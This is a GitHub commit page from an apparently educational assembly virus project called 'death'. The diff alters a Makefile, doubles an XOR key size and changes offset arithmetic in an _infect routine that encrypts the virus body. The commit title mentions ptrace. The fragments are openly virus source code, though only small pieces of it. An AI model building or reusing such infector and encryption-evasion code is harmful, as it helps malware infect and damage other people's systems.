Skip to content

Commit f4e4ba3

Browse files
committed
fix 2nd xor for ptrace
1 parent adae90c commit f4e4ba3

File tree

3 files changed

+6
-2
lines changed

3 files changed

+6
-2
lines changed

Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ fsociety: all
3737

3838
# VARIABLES RULES #
3939

40-
$(NAME): $(OBJS_ASM) $(OBJS)
40+
$(NAME): $(OBJS)
4141
@printf "\033[2K\r$(_BLUE) All files compiled into '$(DIR_OBJS)'. $(_END)✅\n"
4242
@ld -s -o $@ $^
4343
@printf "\033[2K\r$(_GREEN) Executable '$(NAME)' created. $(_END)✅\n"

includes/death.inc

+1-1
Original file line numberDiff line numberDiff line change
@@ -87,4 +87,4 @@ endstruc
8787

8888
; KEY
8989

90-
%define KEY_SIZE 256
90+
%define KEY_SIZE 512

srcs/death.s

+4
Original file line numberDiff line numberDiff line change
@@ -1163,6 +1163,10 @@ _infect:
11631163
push rdx
11641164
sub rsi, rcx ; length - (_virus - _params)
11651165
lea rdx, [rel _h3ll0w0rld]
1166+
sub rdx, rcx
1167+
add rdx, rdi
1168+
lea rcx, [rel _params]
1169+
sub rdx, rcx
11661170
mov rcx, KEY_SIZE
11671171
call _xor_encrypt
11681172

0 commit comments

Comments
 (0)